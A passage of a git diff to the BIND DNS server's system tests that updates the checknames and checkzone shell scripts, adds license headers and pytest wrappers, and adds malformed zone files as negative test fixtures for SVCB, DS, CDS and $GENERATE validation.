+grep "xxx_xxx.master-ignore.update/A.*(check-names)" ns5/named.run > /dev/null || not=0
+if [ $not != 0 ]; then ret=1; fi
+$DIG $DIGOPTS xxx_xxx.master-ignore.update @10.53.0.5 A > dig.out.ns5.test$n || ret=1
+grep NOERROR dig.out.ns5.test$n > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+n=$((n+1))
+
+echo_i "check that updates to 'check-names secondary ignore;' succeed and are not logged ($n)"
+ret=0
+# takes a while for the transfer to succeed as ns5 (primary) is started after ns4 (secondary)
+# and the zone is still loading when we get to this point.
+retry_quiet 35 wait_for_record xxx_xxx.master-ignore.update @10.53.0.4 A dig.out.ns4.test$n || ret=1
+grep "xxx_xxx.master-ignore.update/A.*(check-names)" ns4/named.run > /dev/null && ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+n=$((n + 1))
+
+echo_i "check that updates to 'check-names master ignore;' succeed and are not logged ($n)"
+ret=0
+retry_quiet 35 wait_for_record xxx_xxx.primary-ignore.update @10.53.0.5 A dig.out.ns5.test$n || ret=1
+grep "xxx_xxx.primary-ignore.update/A.*(check-names)" ns5/named.run > /dev/null && ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+n=$((n+1))
 
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/checknames/tests_sh_checknames.py b/bin/tests/system/checknames/tests_sh_checknames.py
new file mode 100644
index 0000000000..e0e035b439
--- /dev/null
+++ b/bin/tests/system/checknames/tests_sh_checknames.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_checknames(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/checkzone/clean.sh b/bin/tests/system/checkzone/clean.sh
index 6cc28c57ea..cb189a306e 100644
--- a/bin/tests/system/checkzone/clean.sh
+++ b/bin/tests/system/checkzone/clean.sh
@@ -1,12 +1,17 @@
+#!/bin/sh
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
-rm -f test.* good1.db.map good1.db.raw named-compilezone
+rm -f test.* good1.db.raw named-compilezone
 rm -f ns*/named.lock
+rm -f zones/bad-tsig.db
 rm -f zones/zone1_*.txt
diff --git a/bin/tests/system/checkzone/setup.sh b/bin/tests/system/checkzone/setup.sh
index 317ee4650d..4518c5669f 100644
--- a/bin/tests/system/checkzone/setup.sh
+++ b/bin/tests/system/checkzone/setup.sh
@@ -1,7 +1,11 @@
+#!/bin/sh
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -13,5 +17,5 @@ ln -s $CHECKZONE named-compilezone
 
 ./named-compilezone -D -F raw -o good1.db.raw example \
         zones/good1.db > /dev/null 2>&1
-./named-compilezone -D -F map -o good1.db.map example \
-        zones/good1.db > /dev/null 2>&1
+
+copy_setports zones/bad-tsig.db.in zones/bad-tsig.db
diff --git a/bin/tests/system/checkzone/tests.sh b/bin/tests/system/checkzone/tests.sh
index 8bab669a50..169e411c9e 100644
--- a/bin/tests/system/checkzone/tests.sh
+++ b/bin/tests/system/checkzone/tests.sh
@@ -1,12 +1,18 @@
+#!/bin/sh
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 . ../conf.sh
 
 status=0
@@ -27,9 +33,9 @@ do
 		$CHECKZONE -i local example $db > test.out.$n 2>&1 || ret=1
 		;;
 	esac
-	n=`expr $n + 1`
+	n=$((n+1))
 	if [ $ret != 0 ]; then echo_i "failed"; fi
-	status=`expr $status + $ret`
+	status=$((status+ret))
 done
 
 for db in zones/bad*.db
@@ -37,7 +43,7 @@ do
 	echo_i "checking $db ($n)"
 	ret=0 v=0
 	case $db in
-	zones/bad-dns-sd-reverse.db)
+	zones/bad-dns-sd-reverse.db|zones/bad-svcb-servername.db)
 		$CHECKZONE -k fail -i local 0.0.0.0.in-addr.arpa $db > test.out.$n 2>&1 || v=$?
 		;;
 	*)
@@ -45,9 +51,9 @@ do
 		;;
 	esac
 	test $v = 1 || ret=1
-	n=`expr $n + 1`
+	n=$((n+1))
 	if [ $ret != 0 ]; then echo_i "failed"; fi
-	status=`expr $status + $ret`
+	status=$((status+ret))
 done
 
 echo_i "checking with journal file ($n)"
@@ -55,16 +61,16 @@ ret=0
 $CHECKZONE -D -o test.orig.db test zones/test1.db > /dev/null 2>&1 || ret=1
 $CHECKZONE -D -o test.changed.db test zones/test2.db > /dev/null 2>&1 || ret=1
 $MAKEJOURNAL test test.orig.db test.changed.db test.orig.db.jnl 2>&1 || ret=1
-jlines=`$JOURNALPRINT test.orig.db.jnl | wc -l`
+jlines=$($JOURNALPRINT test.orig.db.jnl | wc -l)
 [ $jlines = 3 ] || ret=1
 $CHECKZONE -D -j -o test.out1.db test test.orig.db > /dev/null 2>&1 || ret=1
 cmp -s test.changed.db test.out1.db || ret=1
 mv -f test.orig.db.jnl test.journal
 $CHECKZONE -D -J test.journal -o test.out2.db test test.orig.db > /dev/null 2>&1 || ret=1
 cmp -s test.changed.db test.out2.db || ret=1
-n=`expr $n + 1`
+n=$((n+1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status+ret))
 
 echo_i "checking with spf warnings ($n)"
 ret=0
@@ -76,65 +82,57 @@ grep "'example' found type SPF" test.out1.$n > /dev/null && ret=1
 grep "'x.example' found type SPF" test.out2.$n > /dev/null && ret=1
 grep "'y.example' found type SPF" test.out2.$n > /dev/null && ret=1
 grep "'example' found type SPF" test.out2.$n > /dev/null && ret=1
-n=`expr $n + 1`
+n=$((n+1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status+ret))
 
 echo_i "checking with max ttl (text) ($n)"
 ret=0
 $CHECKZONE -l 300 example zones/good1.db > test.out1.$n 2>&1 && ret=1
 $CHECKZONE -l 600 example zones/good1.db > test.out2.$n 2>&1 || ret=1
-n=`expr $n + 1`
+n=$((n+1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status+ret))
 
 echo_i "checking with max ttl (raw) ($n)"
 ret=0
 $CHECKZONE -f raw -l 300 example good1.db.raw > test.out1.$n 2>&1 && ret=1
 $CHECKZONE -f raw -l 600 example good1.db.raw > test.out2.$n 2>&1 || ret=1
-n=`expr $n + 1`
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-
-echo_i "checking with max ttl (map) ($n)"
-ret=0
-$CHECKZONE -f map -l 300 example good1.db.map > test.out1.$n 2>&1 && ret=1
-$CHECKZONE -f map -l 600 example good1.db.map > test.out2.$n 2>&1 || ret=1
-n=`expr $n + 1`
+n=$((n+1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status+ret))
 
 echo_i "checking for no 'inherited owner' warning on '\$INCLUDE file' with no new \$ORIGIN ($n)"
 ret=0
 $CHECKZONE example zones/nowarn.inherited.owner.db > test.out1.$n 2>&1 || ret=1
 grep "inherited.owner" test.out1.$n > /dev/null && ret=1
-n=`expr $n + 1`
+n=$((n+1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status+ret))
 
 echo_i "checking for 'inherited owner' warning on '\$ORIGIN + \$INCLUDE file' ($n)"
 ret=0
 $CHECKZONE example zones/warn.inherit.origin.db > test.out1.$n 2>&1 || ret=1
 grep "inherited.owner" test.out1.$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n+1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status+ret))
 
 echo_i "checking for 'inherited owner' warning on '\$INCLUDE file origin' ($n)"
 ret=0
 $CHECKZONE example zones/warn.inherited.owner.db > test.out1.$n 2>&1 || ret=1
 grep "inherited.owner" test.out1.$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n+1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status+ret))
 
 echo_i "checking that raw zone with bad class is handled ($n)"
 ret=0
 $CHECKZONE -f raw example zones/bad-badclass.raw > test.out.$n 2>&1 && ret=1
 grep "failed: bad class" test.out.$n >/dev/null || ret=1
-n=`expr $n + 1`
+n=$((n+1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status+ret))
 
 echo_i "checking that expirations that loop using serial arithmetic are handled ($n)"
 ret=0
@@ -161,47 +159,56 @@ test $ret -eq 1 || $CHECKZONE $q dyn.example.net zones/crashzone.db || ret=1
 test $ret -eq 1 || $CHECKZONE $q dyn.example.net zones/crashzone.db || ret=1
 test $ret -eq 1 || $CHECKZONE $q dyn.example.net zones/crashzone.db || ret=1
 test $ret -eq 1 || $CHECKZONE $q dyn.example.net zones/crashzone.db || ret=1
-n=`expr $n + 1`
+n=$((n+1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status+ret))
 
 echo_i "checking that nameserver below DNAME is reported even with occulted address record present ($n)"
 ret=0
 $CHECKZONE example.com zones/ns-address-below-dname.db > test.out.$n 2>&1 && ret=1
 grep "is below a DNAME" test.out.$n >/dev/null || ret=1
-n=`expr $n + 1`
+n=$((n+1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status+ret))
 
 echo_i "checking that delegating nameserver below DNAME is reported even with occulted address record present ($n)"
 ret=0
 $CHECKZONE example.com zones/delegating-ns-address-below-dname.db > test.out.$n 2>&1 || ret=1
 grep "is below a DNAME" test.out.$n >/dev/null || ret=1
-n=`expr $n + 1`
+n=$((n+1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status+ret))
 
-n=`expr $n + 1`
+n=$((n+1))
 echo_i "checking that named-compilezone works when reading input from stdin ($n)"
 ret=0
 # Step 1: take raw input from stdin and convert it to text/relative format.
 # Last argument "-" is optional, but it says more explicitly that we're reading from stdin.
 cat zones/zone1.db | ./named-compilezone -f text -F text -s relative \
         -o zones/zone1_stdin.txt zone1.com - > /dev/null || ret=1
-status=`expr $status + $ret`
+status=$((status+ret))
 
 ret=0
 # Step 2: take raw input from file and convert it to text format.
 ./named-compilezone -f text -F text -s relative -o zones/zone1_file.txt \
         zone1.com zones/zone1.db > /dev/null || ret=1
-status=`expr $status + $ret`
+status=$((status+ret))
 
 ret=0
 # Step 3: Ensure that output conversion from stdin is the same as the output conversion from a file.
-$DIFF zones/zone1_file.txt zones/zone1_stdin.txt >/dev/null 2>&1 || ret=1
-status=`expr $status + $ret`
+diff zones/zone1_file.txt zones/zone1_stdin.txt >/dev/null 2>&1 || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
 
+n=$((n+1))
+ret=0
+echo_i "checking integer overflow is prevented in \$GENERATE ($n)"
+$CHECKZONE -D example.com zones/generate-overflow.db > test.out.$n 2>&1 || ret=1
+lines=$(grep -c CNAME test.out.$n)
+echo $lines
+[ "$lines" -eq 1 ] || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
 
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/checkzone/tests_sh_checkzone.py b/bin/tests/system/checkzone/tests_sh_checkzone.py
new file mode 100644
index 0000000000..87613cbb26
--- /dev/null
+++ b/bin/tests/system/checkzone/tests_sh_checkzone.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_checkzone(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/checkzone/zones/bad-_dns-svcb1.db b/bin/tests/system/checkzone/zones/bad-_dns-svcb1.db
new file mode 100644
index 0000000000..539db80d49
--- /dev/null
+++ b/bin/tests/system/checkzone/zones/bad-_dns-svcb1.db
@@ -0,0 +1,18 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 600
+@		SOA	ns hostmaster 2011012708 3600 1200 604800 1200
+		NS	ns
+ns		A	192.0.2.1
+
+; no alpn specified
+_dns		SVCB	1 ns dohpath=/{?dns}
diff --git a/bin/tests/system/checkzone/zones/bad-_dns-svcb2.db b/bin/tests/system/checkzone/zones/bad-_dns-svcb2.db
new file mode 100644
index 0000000000..43cfb6bff2
--- /dev/null
+++ b/bin/tests/system/checkzone/zones/bad-_dns-svcb2.db
@@ -0,0 +1,18 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 600
+@		SOA	ns hostmaster 2011012708 3600 1200 604800 1200
+		NS	ns
+ns		A	192.0.2.1
+
+; no dohpath
+_dns		SVCB	1 ns alpn=http/1.1
diff --git a/bin/tests/system/checkzone/zones/bad-_dns-svcb3.db b/bin/tests/system/checkzone/zones/bad-_dns-svcb3.db
new file mode 100644
index 0000000000..8323af525d
--- /dev/null
+++ b/bin/tests/system/checkzone/zones/bad-_dns-svcb3.db
@@ -0,0 +1,18 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 600
+@		SOA	ns hostmaster 2011012708 3600 1200 604800 1200
+		NS	ns
+ns		A	192.0.2.1
+
+; no dohpath
+_dns		SVCB	1 ns alpn=h2
diff --git a/bin/tests/system/checkzone/zones/bad-_dns-svcb4.db b/bin/tests/system/checkzone/zones/bad-_dns-svcb4.db
new file mode 100644
index 0000000000..389f1a317f
--- /dev/null
+++ b/bin/tests/system/checkzone/zones/bad-_dns-svcb4.db
@@ -0,0 +1,18 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 600
+@		SOA	ns hostmaster 2011012708 3600 1200 604800 1200
+		NS	ns
+ns		A	192.0.2.1
+
+; no dohpath
+_dns		SVCB	1 ns alpn=h3
diff --git a/bin/tests/system/checkzone/zones/bad-_dns-svcb5.db b/bin/tests/system/checkzone/zones/bad-_dns-svcb5.db
new file mode 100644
index 0000000000..50265a34a2
--- /dev/null
+++ b/bin/tests/system/checkzone/zones/bad-_dns-svcb5.db
@@ -0,0 +1,18 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 600
+@		SOA	ns hostmaster 2011012708 3600 1200 604800 1200
+		NS	ns
+ns		A	192.0.2.1
+
+; no dohpath
+_443._dns		SVCB	1 ns alpn=h1\\,h2
diff --git a/bin/tests/system/checkzone/zones/bad-_dns-svcb6.db b/bin/tests/system/checkzone/zones/bad-_dns-svcb6.db
new file mode 100644
index 0000000000..7a563dfa52
--- /dev/null
+++ b/bin/tests/system/checkzone/zones/bad-_dns-svcb6.db
@@ -0,0 +1,18 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 600
+@		SOA	ns hostmaster 2011012708 3600 1200 604800 1200
+		NS	ns
+ns		A	192.0.2.1
+
+; no dohpath
+_443._dns		SVCB	1 ns alpn=x1\\,h2
diff --git a/bin/tests/system/checkzone/zones/bad-caa-rr.db b/bin/tests/system/checkzone/zones/bad-caa-rr.db
index 9d22cd3327..fb7b8618da 100644
Binary files a/bin/tests/system/checkzone/zones/bad-caa-rr.db and b/bin/tests/system/checkzone/zones/bad-caa-rr.db differ
diff --git a/bin/tests/system/checkzone/zones/bad-cdnskey.db b/bin/tests/system/checkzone/zones/bad-cdnskey.db
index e3c0ded019..d109423759 100644
--- a/bin/tests/system/checkzone/zones/bad-cdnskey.db
+++ b/bin/tests/system/checkzone/zones/bad-cdnskey.db
@@ -1,4 +1,15 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
 example.	0	SOA	. . 0 0 0 0 0
 example.	0 	NS	.
 example. 	0	DNSKEY	257 3 10 AwEAAbqjg7xdvnU2Q/gtLw5LOfr5cDeTRjYuEbkzGrUiVSOSoxcTxuao WS/AFPQHuD8OSLiE/CeZ087JowREXl058rRfae8KMrveY17V0wmKs9N1 F1wf/hRDpXiThlRHWlskp8eSEEIqYrrHgWTesy/xDGIEOFM1gwRo0w8j KdRRJeL2hseTMa+m3rTzrYudUsI0BHLW8PiDUCbG5xgdee8/5YR4847i AAqHIiPJ1Z/IT53OIjMmtv5BUykZ8RYjlJxxX+C+dpRKiK73SQaR3hCB XAYOL9WsDp2/fpmEZpewavkMkdC+j2CX+z27MCS3ASO0AeKK0lcNXwND kgreE+Kr7gc=
-example. 	0	CDNSKEY	257 3 10 AwEAAbqjg7xdvnU2Q/gtLw5LOfr5cDeTRjYuEbkzGrUiVSOSoxcTXXXX WS/AFPQHuD8OSLiE/CeZ087JowREXl058rRfae8KMrveY17V0wmKs9N1 F1wf/hRDpXiThlRHWlskp8eSEEIqYrrHgWTesy/xDGIEOFM1gwRo0w8j KdRRJeL2hseTMa+m3rTzrYudUsI0BHLW8PiDUCbG5xgdee8/5YR4847i AAqHIiPJ1Z/IT53OIjMmtv5BUykZ8RYjlJxxX+C+dpRKiK73SQaR3hCB XAYOL9WsDp2/fpmEZpewavkMkdC+j2CX+z27MCS3ASO0AeKK0lcNXwND kgreE+Kr7gc=
+example. 	0	CDNSKEY	257 3 14 AwEAAbqjg7xdvnU2Q/gtLw5LOfr5cDeTRjYuEbkzGrUiVSOSoxcTXXXX WS/AFPQHuD8OSLiE/CeZ087JowREXl058rRfae8KMrveY17V0wmKs9N1 F1wf/hRDpXiThlRHWlskp8eSEEIqYrrHgWTesy/xDGIEOFM1gwRo0w8j KdRRJeL2hseTMa+m3rTzrYudUsI0BHLW8PiDUCbG5xgdee8/5YR4847i AAqHIiPJ1Z/IT53OIjMmtv5BUykZ8RYjlJxxX+C+dpRKiK73SQaR3hCB XAYOL9WsDp2/fpmEZpewavkMkdC+j2CX+z27MCS3ASO0AeKK0lcNXwND kgreE+Kr7gc=
diff --git a/bin/tests/system/checkzone/zones/bad-cds.db b/bin/tests/system/checkzone/zones/bad-cds.db
index 9cd48a164f..2ce4a0d0da 100644
--- a/bin/tests/system/checkzone/zones/bad-cds.db
+++ b/bin/tests/system/checkzone/zones/bad-cds.db
@@ -1,6 +1,15 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
 example.	0	SOA	. . 0 0 0 0 0
 example.	0 	NS	.
 example. 	0	DNSKEY	257 3 10 AwEAAbqjg7xdvnU2Q/gtLw5LOfr5cDeTRjYuEbkzGrUiVSOSoxcTxuao WS/AFPQHuD8OSLiE/CeZ087JowREXl058rRfae8KMrveY17V0wmKs9N1 F1wf/hRDpXiThlRHWlskp8eSEEIqYrrHgWTesy/xDGIEOFM1gwRo0w8j KdRRJeL2hseTMa+m3rTzrYudUsI0BHLW8PiDUCbG5xgdee8/5YR4847i AAqHIiPJ1Z/IT53OIjMmtv5BUykZ8RYjlJxxX+C+dpRKiK73SQaR3hCB XAYOL9WsDp2/fpmEZpewavkMkdC+j2CX+z27MCS3ASO0AeKK0lcNXwND kgreE+Kr7gc=
-; Actual CDS
-; example.	0	CDS 	14364 10 2 FD03B2312C8F0FE72C1751EFA1007D743C94EC91594FF0047C23C37CE119BA0C
-example.	0	CDS 	14364 10 2 FD03B2312C8F0FE72C1751EFA1007D743C94EC91594FF0047C23C37CE119BA0B
+example.	0	CDS 	14364 14 2 FD03B2312C8F0FE72C1751EFA1007D743C94EC91594FF0047C23C37CE119BA0B
diff --git a/bin/tests/system/checkzone/zones/bad-dhcid.db b/bin/tests/system/checkzone/zones/bad-dhcid.db
index 74381086d4..df36eb7d91 100644
--- a/bin/tests/system/checkzone/zones/bad-dhcid.db
+++ b/bin/tests/system/checkzone/zones/bad-dhcid.db
@@ -1,2 +1,13 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
 @	3600	DHCID
 @	3600	DHCID
diff --git a/bin/tests/system/checkzone/zones/bad-dns-sd-reverse.db b/bin/tests/system/checkzone/zones/bad-dns-sd-reverse.db
index 9635a7ab1e..c766c8f0de 100644
--- a/bin/tests/system/checkzone/zones/bad-dns-sd-reverse.db
+++ b/bin/tests/system/checkzone/zones/bad-dns-sd-reverse.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/checkzone/zones/bad-ds-2.db b/bin/tests/system/checkzone/zones/bad-ds-2.db
new file mode 100644
index 0000000000..09d29f72d5
--- /dev/null
+++ b/bin/tests/system/checkzone/zones/bad-ds-2.db
@@ -0,0 +1,15 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+example.	0	SOA	. . 0 0 0 0 0
+example.	0 	NS	.
+example. 	0	DNSKEY	257 3 10 AwEAAbqjg7xdvnU2Q/gtLw5LOfr5cDeTRjYuEbkzGrUiVSOSoxcTxuao WS/AFPQHuD8OSLiE/CeZ087JowREXl058rRfae8KMrveY17V0wmKs9N1 F1wf/hRDpXiThlRHWlskp8eSEEIqYrrHgWTesy/xDGIEOFM1gwRo0w8j KdRRJeL2hseTMa+m3rTzrYudUsI0BHLW8PiDUCbG5xgdee8/5YR4847i AAqHIiPJ1Z/IT53OIjMmtv5BUykZ8RYjlJxxX+C+dpRKiK73SQaR3hCB XAYOL9WsDp2/fpmEZpewavkMkdC+j2CX+z27MCS3ASO0AeKK0lcNXwND kgreE+Kr7gc=
+foo.example.	0	DS 	14364 10 2 FD03B2312C8F0FE72C1751EFA1007D743C94EC91594FF0047C23C37CE119BA0C
diff --git a/bin/tests/system/checkzone/zones/bad-ds.db b/bin/tests/system/checkzone/zones/bad-ds.db
index 723843a995..9363cb0ae0 100644
--- a/bin/tests/system/checkzone/zones/bad-ds.db
+++ b/bin/tests/system/checkzone/zones/bad-ds.db
@@ -1,3 +1,14 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
 example.	0	SOA	. . 0 0 0 0 0
 example.	0 	NS	.
 example. 	0	DNSKEY	257 3 10 AwEAAbqjg7xdvnU2Q/gtLw5LOfr5cDeTRjYuEbkzGrUiVSOSoxcTxuao WS/AFPQHuD8OSLiE/CeZ087JowREXl058rRfae8KMrveY17V0wmKs9N1 F1wf/hRDpXiThlRHWlskp8eSEEIqYrrHgWTesy/xDGIEOFM1gwRo0w8j KdRRJeL2hseTMa+m3rTzrYudUsI0BHLW8PiDUCbG5xgdee8/5YR4847i AAqHIiPJ1Z/IT53OIjMmtv5BUykZ8RYjlJxxX+C+dpRKiK73SQaR3hCB XAYOL9WsDp2/fpmEZpewavkMkdC+j2CX+z27MCS3ASO0AeKK0lcNXwND kgreE+Kr7gc=
diff --git a/bin/tests/system/checkzone/zones/bad-eid.db b/bin/tests/system/checkzone/zones/bad-eid.db
index 65a44fd83e..ba568ef09f 100644
--- a/bin/tests/system/checkzone/zones/bad-eid.db
+++ b/bin/tests/system/checkzone/zones/bad-eid.db
@@ -1,2 +1,13 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
 @	EID
 @	EID
diff --git a/bin/tests/system/checkzone/zones/bad-generate-garbage.db b/bin/tests/system/checkzone/zones/bad-generate-garbage.db
new file mode 100644
index 0000000000..0d66e753b6
--- /dev/null
+++ b/bin/tests/system/checkzone/zones/bad-generate-garbage.db
@@ -0,0 +1,17 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 600
+@		SOA	ns hostmaster 2011012708 3600 1200 604800 1200
+		NS	ns
+ns		A	192.0.2.1
+
+$GENERATE 0-7   host$	A 1.2.3.${1,0,dgarbagegarbage}
diff --git a/bin/tests/system/checkzone/zones/bad-generate-missing-brace.db b/bin/tests/system/checkzone/zones/bad-generate-missing-brace.db
new file mode 100644
index 0000000000..314583e71a
--- /dev/null
+++ b/bin/tests/system/checkzone/zones/bad-generate-missing-brace.db
